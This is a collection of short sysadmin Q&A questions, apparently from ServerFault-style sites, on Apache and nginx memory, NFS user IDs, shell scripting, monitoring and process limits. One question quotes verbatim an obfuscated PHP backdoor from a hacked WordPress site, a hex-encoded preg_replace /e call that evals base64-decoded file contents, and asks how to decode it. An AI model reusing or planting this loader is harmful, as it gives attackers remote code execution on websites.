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• Can I change the user id of a user on one Linux server to match another server in /etc/passwd?

  - by user76177

  I have a Rails application that is on a virtual machine (RHEL 6) and it's database is on dedicated hardware (also RHEL 6). The app server has an NFS directory from the db server mounted and accessible. It needs to write images to that server that are uploaded via the app. Background processes on the db server need to read and write to the same directory, as they perform resizing operations on the uploaded files. Right now none of this is working, because the user ids are different between the two systems. I only need this to work for this one application, so it is way too much overhead to put an LDAP system in place. Can I simply change the user id of this one user in one of the systems, or will that cause mass chaos? UPDATE: The fix worked, at least on local devices. Unfortunately the device I have mounted to the main db server still thinks my user id is 502 instead of 506. Do I need to remount that device, or is there an NFS daemon I can stop and restart to refresh it?

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• Limit Apache 2 Memory Usage

  - by UltraNurd

  I am running a hobby webserver off of an ancient Blue & White G3/300 running Debian PPC Squeeze 2.6.30. The performance is okay for a while after a restart, but it eventually gets more and more bogged down. Right now it's at 76 days uptime, and the main culprit seems to be the memory usage of 10+ apache2 processes. I think I need to lower the values for StartServers, MinSpareServers, and/or MaxSpareServers, but I'm not sure which one to adjust, and there are three sections for each depending on which mpm module is in use. How do I tell which of the following sections I need to change, and what are some reasonable values given that the box has 448 MB physical memory (weird upgrade history of one each 64, 128, and 256 sticks)? <IfModule mpm_prefork_module> StartServers 5 MinSpareServers 5 MaxSpareServers 10 MaxClients 150 MaxRequestsPerChild 0 </IfModule> <IfModule mpm_worker_module> StartServers 2 MinSpareThreads 25 MaxSpareThreads 75 ThreadLimit 64 ThreadsPerChild 25 MaxClients 150 MaxRequestsPerChild 0 </IfModule> <IfModule mpm_event_module> StartServers 2 MaxClients 150 MinSpareThreads 25 MaxSpareThreads 75 ThreadLimit 64 ThreadsPerChild 25 MaxRequestsPerChild 0 </IfModule> There aren't any other instances of StartServers in my apache2.conf, but none of those mpm modules appear in mods-available or mods-enabled. Ideas? Thanks!

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• Writing a script for ash?

  - by rumtscho

  My VPN is behaving funny sometimes, and I have to restart it often. I wanted to write a script which does that for me. It doesn't have to be anything fancy, just a shortcut for the commands I have to type into the terminal. More specifically: it will look at the running processes. If it finds a running vpnc process, it will kill it. Then it will start vpnc. I've written bash scripts of similar complexity, but now I don't have a bash, only an ash. Until now, the only difference I noticed is that there are much less commands available, but then, I don't use it very often. So I have some questions. Is writing ash scripts different than writing bash scripts? Is there something specific to consider when doing it? When the script is ready, how can I deploy it? For bash, I just put the executable file under /usr/lib and run it by typing the file name into the command line, will this work with ash? Are there any special pitfalls to watch out for in the script I want to write? I think that the killing process part may get hairy, if I write something that kills the wrong process, but even then running the script shouldn't break anything permanently, right?

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• Memory leak in Google Chrome

  - by jasondavis

  As a developer it is very common for me to have 2-3 different IDE's open, 10-15 google chrome windows which can hold up to 200 open tabs (I know I get out of hand some times), Photoshop, couple twitter bots for promo, and a few other programs but my system still runs fast and smooth. I have an i7 processor with 12gb ram. Now with all my usual stuff running my Physical memory is usually running around 50-60% however over the course of the day or much less even, I will gradually grow to 98% The highest Memory usage processes will be from Google Chrome, if I sort in the task manager by highest memory usage and end the 1 highest process which will be a google chrome one, my memory usage will jump back down to about 60%. Also by ending that 1 process, all my Chrome windows will remain open and in use, so it doesn't affect me at all by ending that process. Based on this research I am assuming that that 1 runaway process is likely the Adobe Flash as I also can say that it gets up to the 98% much faster when I am using flash items like video or music player. But even without using any of them it will still climb up to that high number eventually. Has anyone else experienced similar results?

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• Munin node not listing any plugins on new Fedora 14 installation

  - by Dave Forgac

  I have just installed munin-node from the base repo on Fedora 14 and then started it. I found that my munin server is not able to collect data from this node so I tried connecting via telnet to test. When connecting via telnet I see that no plugins are listed: [dave@host ~]# telnet localhost 4949 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. # munin node at host.example.com list quit Connection closed by foreign host. [dave@host ~]# I did not modify anything after the installation. The munin-node.conf is allowing connections from 127.0.0.1 and the default set of plugins in /etc/munin/plugins/ are symlinked to the plugins in /usr/share/munin/plugins/. Here is the working output of the telnet test of the 'list' command should look like (this is on a Fedora 13 host): [dave@www ~]$ telnet localhost 4949 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. # munin node at www.example.com list apache_accesses apache_processes apache_volume cpu df df_inode entropy forks fw_packets if_err_eth0 if_err_eth1 if_eth0 if_eth1 interrupts iostat iostat_ios irqstats load memory munin_stats mysql_ mysql_bytes mysql_innodb mysql_queries mysql_slowqueries mysql_threads netstat open_files open_inodes postfix_mailqueue postfix_mailvolume proc_pri processes swap threads uptime users vmstat yum quit Connection closed by foreign host. [dave@www ~]$ Edited to show output of munin-node-configure: [root@host ~]# munin-node-configure Plugin | Used | Extra information ------ | ---- | ----------------- acpi | no | amavis | no | ... http_loadtime | no | if_ | yes | eth1 eth0 if_err_ | yes | eth0 eth1 ifx_concurrent_sessions_ | no | interrupts | yes | ... uptime | yes | users | yes | varnish_ | no | vserver_resources | no | yum | yes | zimbra_ | no | Any suggestions on what to check next?

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• nginx does not use variables set in /etc/environment on system reboot, but does when restarted from shell

  - by Dave Nolan

  I have a Rails app running on nginx/passenger. It restarts happily in a shell using sudo /etc/init.d/nginx stop|start|restart. But Passenger throws an error when the system is rebooted: "Missing the Rails #{version} gem". But GEM_HOME and GEM_PATH are both set in /etc/environment so surely they would be available to all processes during reboot? /etc/environment PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11:/usr/games" GEM_HOME=/var/lib/gems/1.8 GEM_PATH=/var/lib/gems/1.8 /etc/init.d/nginx #! /bin/sh ### BEGIN INIT INFO # Provides: nginx # Required-Start: $all # Required-Stop: $all # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: starts the nginx web server # Description: starts nginx using start-stop-daemon ### END INIT INFO PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin DAEMON=/opt/nginx/sbin/nginx NAME=nginx DESC=nginx test -x $DAEMON || exit 0 # Include nginx defaults if available if [ -f /etc/default/nginx ] ; then . /etc/default/nginx fi set -e case "$1" in start) echo -n "Starting $DESC: " start-stop-daemon --start --quiet --pidfile /var/log/nginx/$NAME.pid \ --exec $DAEMON -- $DAEMON_OPTS echo "$NAME." ;; stop) echo -n "Stopping $DESC: " start-stop-daemon --stop --quiet --pidfile /var/log/nginx/$NAME.pid \ --exec $DAEMON echo "$NAME." ;; restart|force-reload) echo -n "Restarting $DESC: " start-stop-daemon --stop --quiet --pidfile \ /var/log/nginx/$NAME.pid --exec $DAEMON sleep 1 start-stop-daemon --start --quiet --pidfile \ /var/log/nginx/$NAME.pid --exec $DAEMON -- $DAEMON_OPTS echo "$NAME." ;; reload) echo -n "Reloading $DESC configuration: " start-stop-daemon --stop --signal HUP --quiet --pidfile /var/log/nginx/$NAME.pid \ --exec $DAEMON echo "$NAME." ;; *) N=/etc/init.d/$NAME echo "Usage: $N {start|stop|restart|force-reload}" >&2 exit 1 ;; esac exit 0 $ opt/nginx/sbin/nginx -v nginx version: nginx/0.7.67 Ubuntu lucid

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• How do I decode this WordPress hack?

  - by Dennis Wurster

  I found an offending string in a client's WordPress-powered website, and I just want to know what it does. @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75"); Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.

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• Cannot upload files bigger than 8GB to Amazon S3 by multi-part upload due to broken pipe

  - by spencerho

  I implemented S3 multi-part upload, both high level and low level version, based on the sample code from http://docs.amazonwebservices.com/AmazonS3/latest/dev/index.html?HLuploadFileJava.html and http://docs.amazonwebservices.com/AmazonS3/latest/dev/index.html?llJavaUploadFile.html When I uploaded files of size less than 4 GB, the upload processes completed without any problem. When I uploaded a file of size 13 GB, the code started to show IO exception, broken pipes. After retries, it still failed. Here is the way to repeat the scenario. Take 1.1.7.1 release, create a new bucket in US standard region create a large EC2 instance as the client to upload file create a file of 13GB in size on the EC2 instance. run the sample code on either one of the high-level or low-level API S3 documentation pages from the EC2 instance test either one of the three part size: default part size (5 MB) or set the part size to 100,000,000 or 200,000,000 bytes. So far the problem shows up consistently. I attached here a tcpdump file for you to compare. In there, the host on the S3 side kept resetting the socket.

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• Recommendations for secure business collaboration tools

  - by Michael Prescott

  I'm searching for a secure and easy way for business partners to collaboratively edit and exchange documents, share calendars, create schedules, and assign tasks. I speculate that the ideal collaboration environment or work-flow would actually involve several technologies and services. My co-workers and I have tried a variety of things from Google Apps to Wiki's, but nothing feels very fluid or complete. I suppose defining what we need and our constraints is probably in order: collaboratively edit basic text documents and spreadsheets exchange documents like flow-charts, graphs, and files generated by our other desktop applications, but not source code assign tasks to each other and ourselves and track the history of those tasks easily see when relevant documents have been modified since last viewing and ability to easily push notifications to relevant workers (a clean front page that shows updates would probably suffice) provide limited access to contract workers and guests users if a remote user system is compromised (keystroke logger or other spyware) we don't want the criminal to be able to gain access to all business documents (processes, trade-secrets, customer lists, etc.) simply because they gained access to a single Google account (or whatever web service) Cannot be a difficult to administer VPN infrastructure Cannot cost more than $100 per month (yeah, money is tight) Needs to support up to 25 users We can host our own web applications, but it must be low maintenance solution

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• How to multiseat with HW 3d accel on CentOS 6.3 Final?

  - by user35070

  I would like to setup a multiseat configuration on CentOS 6.3 (two video cards, two keyboards, two mice, two monitors) and have hardware accelerated 3D on both monitors. 3D HW acceleration rules out Xephyr. I saw somewhere that recent versions of GDM (3.3 and newer?) don't support multiseat, so do I have to install KDM to make this work? If I just create a duplicate section with new device identifiers in my xorg.conf file, will this 'just work'? Using different ports on the same video card and separate keyboards, mice, and displays, the result was a desktop which spanned both monitors with both keyboards and mice acting as the same input in the GUI. I will power down and put in the new video card and report on the results soon. Both video cards are nvidia. UPDATE after putting in another NVIDIA video card, default behavior (before changing xorg.conf) is that one screen works normally, and both mice and keyboards are connected to it. Changing xorg.conf and the display manager to KDM and following the directions here https://help.ubuntu.com/community/MultiseatX#Ubuntu_10.04_.28Lucid.29 , I have 2 mirrored screens connected to separate video cards, DRI enabled, and 2 mice both connected to the same pointer. Keyboards don't do anything, however, I probably just need to fix a setting in xorg.conf I would still like to get multiseat functionality, eg. separate screens with separate input devices I have verified that the separate X processes are running (see page above) using 'ps aux | grepX [01]'

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• Heavy Apache memory usage

  - by Ree

  Recently I've noticed that httpd processes started to consume massive amounts of memory - after some time pretty much using almost all of the 2GB of RAM the server has and I don't have any memory left for other stuff. Here's what top tells me: 26409 apache 15 0 276m 152m 28m S 0 7.4 0:59.12 httpd 26408 apache 15 0 278m 151m 28m S 0 7.4 1:03.80 httpd 26410 apache 15 0 277m 149m 26m S 0 7.3 0:57.22 httpd 26405 apache 15 0 276m 148m 25m S 0 7.3 0:59.20 httpd 26411 apache 16 0 276m 146m 23m S 0 7.2 1:09.18 httpd 17549 apache 15 0 276m 144m 23m S 0 7.0 0:36.34 httpd 22095 apache 15 0 276m 136m 14m S 0 6.6 0:30.56 httpd It seems to me that each httpd process does not free the memory after handling a request. So they all sit at ~270MB which is BAD. Is there a way for me to know where all the memory goes and why it stays that way? I haven't done any server tweaking lately, so I'm sure it's not me who messed something up (haven't had the problem before). The server is used to serve PHP apps. EDIT: Apache is configured with prefork module and MaxRequestsPerChild is set to 4000.

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• Nginx with PAM authentication through pam_script

  - by Envek

  Have anyone set up such a configuration? It's not work for me. So, I've installed nginx-extras on Ubuntu 12.04 (it's built with PAM module), and write to site config: location ^~ /restricted_place/ { auth_pam "Please specify login and password from main_site"; auth_pam_service_name "nginx"; } Afterwards, in /etc/pam.d/nginx: auth required pam_script.so dir=/path/to/my/auth_scripts And wrote simplest /path/to/my/auth_scripts/pam_script_auth (also I've tried to write complicated scripts) #!/bin/sh exit 0 # should allow anyone Doesn't work. The script is launched (I've wrote full functional script, that successfully executes, check credentials, writes to its own log and returns correct exit code, and executes noticeably long). But no access granted. Only rejected. In /var/log/nginx/error.log appears next record: 2012/09/13 10:44:42 [alert] 1666#0: waitpid() failed (10: No child processes) If I'm specify in /etc/pam.d/nginx: auth required pam_unix.so and grant for www-data user right to read /etc/shadow, unix authorization works fine. But script auth doesn't work. Can't understand, where is trouble. In nginx module, or in pam_script module.

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• How to deal with job that stop and cannot continue unless made foreground?

  - by Vi

  Recent example: mountlo (using UML): vi@vi-notebook:~/b$ mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other& [1] 32561 vi@vi-notebook:~/b$ Checking that ptrace can change system call numbers...OK Checking syscall emulation patch for ptrace...OK Checking advanced syscall emulation patch for ptrace...OK Checking PROT_EXEC mmap in /tmp...OK Checking for the skas3 patch in the host: - /proc/mm...not found - PTRACE_FAULTINFO...not found - PTRACE_LDT...not found UML running in SKAS0 mode [1]+ Stopped mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other vi@vi-notebook:~/b$ bg [1]+ mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other & [1]+ Stopped mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other vi@vi-notebook:~/b$ bg [1]+ mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other & [1]+ Stopped mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other vi@vi-notebook:~/b$ bg [1]+ mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other & [1]+ Stopped mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other vi@vi-notebook:~/b$ fg mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8,allow_other Linux version 2.6.15 (miko@dorka) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Mon Feb 27 13:27:52 CET 2006 (normal output) ... vi@vi-notebook:~/b$ socat - exec:'mountlo -m 16 -d /dev/uba1 /home/vi/mnt/usb -t vfat -o iocharset=utf8\,allow_other',pty,ctty fusermount: waitpid: No child processes vi@vi-notebook:~/b$ Also happens with Gimp (when it does run it's plug-ins). Parts of Gimp started by `gimp q.jpg&' freeze and cannot continue unless "killall -CONT" or made foreground. Is it a bug? How to reliably start things in a background?

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• nginx starts up before apache

  - by paullb

  I've been fumbling through setting up redmine on a unbuntu (12.04) box and somewhere along the line NginX got set up and now apache no longer loads because nginx has already grabbed the port. I tried removing NginX with the below command but that didn't seem to make any difference. When I restarted the server and pointed my web browser I still got the "Welcome to NginX" message sudo apt-get purge nginx I have confirmed that NginX is gone because when I run the above now I get as an output Package nginx is not installed, so not removed Yet everytime I start the machine it is running again. I noticed the following for the running processes (if that is helpful) root 923 0.0 0.0 76784 1280 ? Ss 03:00 0:00 nginx: master process /usr/sbin/nginx www-data 925 0.0 0.0 77092 1704 ? S 03:00 0:00 nginx: worker process www-data 926 0.0 0.1 77092 2204 ? S 03:00 0:00 nginx: worker process www-data 927 0.0 0.0 77092 1704 ? S 03:00 0:00 nginx: worker process www-data 928 0.0 0.0 77092 1704 ? S 03:00 0:00 nginx: worker process Any advice for bringing back apache2 as the "default" (for lack of a better term) web server?

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• 613 threads limit on debian

  - by Joel

  When running this program thread-limit.c on my dedicated debian server, the output says that my system can't create more than around 600 threads. I need to create more threads, and fix my system misconfiguration. Here are a few informations about my dedicated server: de801:/# uname -a Linux de801.ispfr.net 2.6.18-028stab085.5 #1 SMP Thu Apr 14 15:06:33 MSD 2011 x86_64 GNU/Linux de801:/# java -version java version "1.6.0_26" Java(TM) SE Runtime Environment (build 1.6.0_26-b03) Java HotSpot(TM) 64-Bit Server VM (build 20.1-b02, mixed mode) de801:/# ldd $(which java) linux-vdso.so.1 => (0x00007fffbc3fd000) libpthread.so.0 => /lib/libpthread.so.0 (0x00002af013225000) libjli.so => /usr/lib/jvm/java-6-sun-1.6.0.26/jre/bin/../lib/amd64/jli/libjli.so (0x00002af013441000) libdl.so.2 => /lib/libdl.so.2 (0x00002af01354b000) libc.so.6 => /lib/libc.so.6 (0x00002af013750000) /lib64/ld-linux-x86-64.so.2 (0x00002af013008000) de801:/# cat /proc/sys/kernel/threads-max 1589248 de801:/# ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 794624 max locked memory (kbytes, -l) 32 max memory size (kbytes, -m) unlimited open files (-n) 10240 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 128 cpu time (seconds, -t) unlimited max user processes (-u) unlimited virtual memory (kbytes, -v) unlimited file locks (-x) unlimited Here is the output of the C program de801:/test# ./thread-limit Creating threads ... Address of c = 1061520 KB Address of c = 1081300 KB Address of c = 1080904 KB Address of c = 1081168 KB Address of c = 1080508 KB Address of c = 1080640 KB Address of c = 1081432 KB Address of c = 1081036 KB Address of c = 1080772 KB 100 threads so far ... 200 threads so far ... 300 threads so far ... 400 threads so far ... 500 threads so far ... 600 threads so far ... Failed with return code 12 creating thread 637. Any ideas how to fix this please ?

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• I used disk copy to clone my drive, now my windows 7 profile won't load correctly

  - by RzK

  I used easeuse disk copy, after acronis, clonezilla, windows image restore failed me. Basically it copys all sectors, I set it to skip bad sectors(40). The source drive works, it just gave me a couple errors and stopped booting at one point. The drive is an identical copy, minus 40 bad errors. The drive is set to C and active partition, I rebuilt the boot order. I've ran sfc /scannow and ran chkdsk /r chkdsk found 20kb of bad sectors if I remember right. Now the issue I get is when I log into my profile which was saved right, I get a blank light blue wallpaper (non-license) explorer.exe is not running, and there are only 4 processes running in taskmanager, including taskmanager. I would try a repair install but CRTL-E would not open, nothing will open once I force start explorer.exe, almost like all services are down. What should I do? Fresh install is almost not a possibility I will try and fix this issue. sfc /scannow /offbootdir=c:\ /offwindir=c:\windows returns "Windows Resource Protection could not perform the requested operation"

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• Apache/Passenger and cpulimit

  - by Dave Smylie

  I run a ruby on rails site that processes email - the email is dumped directly into the web app via a POST from postfix. At times I can get a burst of email coming in causing a prolonged surge in CPU usage making my VPS provider understandable unhappy with me. These emails don't need to be processed in a timely manner - they just need to be (eventually) processed. Obviously I can't just nice the process as that only looks at the cpu usage on my VPS and can't take into account the cpu usage on the other VPS's. I have found a utility called cpulimit that will you put hard limits on cpu usage for a particular process. (eg 20%). This seems ideal for this purpose, but I can't work out to integrate with apache/passenger. Passenger starts up a ruby process for each server and restarts them periodically. Each time the pid will change. Cpulimit needs to be given a pid number for it to act on. Anyone got any ideas how I could get passenger to fire off a call this command when it's starting up this particular virtual host?

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• How to monitor process hogging CPU on a remote server

  - by sergeb

  I have a remotely hosted (virtual, VMware) dedicated server (Windows 2008 Server Web edition w/ SP1) that I can only connect to over Remote Desktop. Lately, a process hogs CPU for ~40 minutes most every day (at a random hour) and brings all web sites on the server down. While this is going on I also cannot connect using Remote Desktop to investigate on what is that process... Promptly after 40 min I can RD and the first thing I see on the Perf Monitor is that there was something topping the CPU at 100% and stops just before I'm able to RD... I'm aware of the beginning and end of this for I have monitors setup that email me up/down status of the web sites but I'm locked out while this is happening - can't RD to the server until it's over (and too late to see the Task Manager/Process Explorer picture). What is the best way/tool to setup on the server to continuously monitor all processes so when this happens I login and "replay" it to find the process causing this trouble? (I have no control over the virtual/VMware setup for it is hosted by a 3rd-party but I have most full control over my dedicated machine) Thanks in advance!

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• What characteristic of networking/TCP causes linear relation between TCP activity and latency?

  - by DeLongey

  The core of this problem is that our application uses websockets for real-time interfaces. We are testing our app in a new environment but strangely we're noticing an increasing delay in TCP websocket packets associated with an increase in websocket activity. For example, if one websocket event occurs without any other activity in a 1-minute period, the response from the server is instantaneous. However, if we slowly increase client activity the latency in server response increases with a linear relationship (each packet will take more time to reach the client with more activity). For those wondering this is NOT app-related since our logs show that our server is running and responding to requests in under 100ms as desired. The delay starts once the server processes the request and creates the TCP packet and sends it to the client (and not the other way around). Architecture This new environment runs with a Virtual IP address and uses keepalived on a load balancer to balance the traffic between instances. Two boxes sit behind the balancer and all traffic runs through it. Our host provider manages the balancer and we do not have control over that part of the architecture. Theory Could this somehow be related to something buffering the packets in the new environment? Thanks for your help.

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• Cannot Delete Item "Could Not Find This Item" issue

  - by aronchick

  A friend sent a long a file (a .rar) he wanted me to check out for him before he installed it. I downloaded it and unrared it with no problems, but it was full of .exe's instead of the intended contents (fonts) so I advised him to delete it immediately and not use. I then proceeded to do the same, but the folder simply will not delete. Oddly the files went fine, and I never ran anything, but this is what I'm seeing: Could not find this item This is no longer located in C:\Users\This_User\Desktop. verify the item's location and try again. I've tried the following things with no help: Using "Unlocker" to Unlock and delete Using move on reboot and rebooting Using PendMoves (from sysinternals) and rebooting Elevating a cmd line, doing a dir /x to get the short name of the folder, and then del 'shortna~1' Moving the folder to a new folder and then trying to delete the parent folder I'm on Windows 7 RTM, very fresh install. Any thoughts? Update: Just to confirm, I've run Hijack this and half a dozen other malware detectors, and everything came back clean (no extra processes, no other obvious badness). Rebooting in safe mode didn't help either.

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• Throttle CPU Usage consumed by Process

  - by Brett Powell

  We run a game-server company where we basically have large amounts of customers sharing a single machine, and are just on their own instance of a Java Process (Minecraft) managed by our Web Control Panels. In the last few game updates released, we have noticed that many of the third-party plugins our customer's use have become poorly written and we are frequently seeing huge CPU increases from certain servers until we manually kill the process. Our Game Panel automatically restarts processes, so killing them is not really an issue. Our problem is that once once of these servers starts consuming 50%+ CPU Usage, it takes atleast 5 minutes to RDP into the machine, locate who it belongs to, shut it down and notify them. Are there any current solutions for Server 2008 which allow for the throttling of CPU usage or worst case, just auto kill a process stuck using that much? As Minecraft is essentially a single-threaded application, we have investigated using Affinity, although with the variations in our Packages and fluctuations in usage, this doesn't work well for us. Some option to throttle the maximum usage a process can use would be perfect, or at least the option to kill a process using that much. Thanks!

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• Is there any way to detect when nginx has completed a graceful shutdown?

  - by Daniel Vandersluis

  I have a ruby on rails application which is running on passenger and nginx, with one main webserver and multiple application servers. I am trying to update my deployment process in order to minimize (or ideally, remove) any downtime caused by the deployment. The main roadblock right now is that passenger takes some time to restart (ie. reload the application), so in order to get around this, I want to stagger my restarts so that only one app server gets restart at a time. In order to do this without losing any long running passenger processes, I am thinking I need to gracefully shutdown the app server's nginx instance, which will cause it to no longer accept new connections but continue to process the existing ones; as well, HAProxy will detect that the app server is down and route new requests to the other server. However, assuming that there is a long-running process, I am not sure how to detect when the graceful shutdown has completed so that I can start it back up. Since the shutdown is caused by sending a signal (ie. kill -QUIT $( cat /var/run/nginx.pid )), and the kill command will return immediately, I cannot combine commands (ie. kill ... && touch restarted), as the touch command will execute immediately, even if nginx hasn't completed its shutdown. Is there any good way to do this?

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• How can a Linux Administrator improve their shell scripting and automation skills?

  - by ewwhite

  In my organization, I work with a group of NOC staff, budding junior engineers and a handful of senior engineers; all with a focus on Linux. One interesting step in the way the company grows talent is that there's a path from the NOC to the senior engineering ranks. Viewing the talent pool as a relative newcomer, I see that there's a split in the skill sets that tends to grow over time... There are engineers who know one or several particular technologies well and are constantly immersed... e.g. MySQL, firewalls, SAN storage, load balancers... There are others who are generalists and can navigate multiple technologies. All learn enough Linux (commands, processes) to do what they need and use on a daily basis. A differentiating factor between some of the staff is how well they embrace scripting, automation and configuration management methodologies. For instance, we have two engineers who do the bulk of Amazon AWS CloudFormation work, and another who handles most of the Puppet infrastructure. Perhaps a quarter of the engineers are adept at BASH shell scripting. Looking at this in the context of the incredibly high demand for DevOps skills in the job market, I'm curious how other organizations foster the development of these skills and grow their internal talent. Scripting doesn't seem like a particularly-teachable concept. How does a sysadmin improve their shell scripting? Is there still a place for engineers who do not/cannot keep up in the DevOps paradigm? Are we simply to assume that some people will be left behind as these technologies evolve? Is that okay?

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• Domino nchronos.exe multiple instances causing server to die, and Sametime problems

  - by Kevin

  I've had this problem for a few months now. I thought it started when I installed the Traveller software on the server to add ActiveSync support, but I removed that and the problem still persists. Basically new instances of "nchronos.exe" keeps spawning (and not ending), so over a period of a few days the server eventually gets drowned in nchronos.exe processes, stops responding and I need to kill Domino. My process count the last time was up at about 330, and when I killed it and restarted the Domino my process count went to 160. I'm running Domino 8.5.1 with Fix Pack 2. I don't know if it's relevant, but my Domino server was also acting as a Sametime server. At around the same time that nchronos started playing up sametime also stopped working. None of my users can connect to sametime and in the domino log it keeps telling me "stpolicy.exe" has terminated. I've googled for that and tried a few things, but nothing seems to make sametime work again. Any thoughts?? Cheers, Kevin

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• Locating memory leak in Apache httpd process, PHP/Doctrine-based application

  - by Sam

  I have a PHP application using these components: Apache 2.2.3-31 on Centos 5.4 PHP 5.2.10 Xdebug 2.0.5 with Remote Debugging enabled APC 3.0.19 Doctrine ORM for PHP 1.2.1 using Query Caching and Results Caching via APC MySQL 5.0.77 using Query Caching I've noticed that when I start up Apache, I eventually end up 10 child processes. As time goes on, each process will grow in memory until each one approaches 10% of available memory, which begins to slow the server to a crawl since together they grow to take up 100% of memory. Here is a snapshot of my top output: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1471 apache 16 0 626m 201m 18m S 0.0 10.2 1:11.02 httpd 1470 apache 16 0 622m 198m 18m S 0.0 10.1 1:14.49 httpd 1469 apache 16 0 619m 197m 18m S 0.0 10.0 1:11.98 httpd 1462 apache 18 0 622m 197m 18m S 0.0 10.0 1:11.27 httpd 1460 apache 15 0 622m 195m 18m S 0.0 10.0 1:12.73 httpd 1459 apache 16 0 618m 191m 18m S 0.0 9.7 1:13.00 httpd 1461 apache 18 0 616m 190m 18m S 0.0 9.7 1:14.09 httpd 1468 apache 18 0 613m 190m 18m S 0.0 9.7 1:12.67 httpd 7919 apache 18 0 116m 75m 15m S 0.0 3.8 0:19.86 httpd 9486 apache 16 0 97.7m 56m 14m S 0.0 2.9 0:13.51 httpd I have no long-running scripts (they all terminate eventually, the longest being maybe 2 minutes long), and I am working under the assumption that once each script terminates, the memory it uses gets deallocated. (Maybe someone can correct me on that). My hunch is that it could be APC, since it stores data between requests, but at the same time, it seems weird that it would store data inside the httpd process. How can I track down which part of my app is causing the memory leak? What tools can I use to see how the memory usage is growing inside the httpd process and what is contributing to it?

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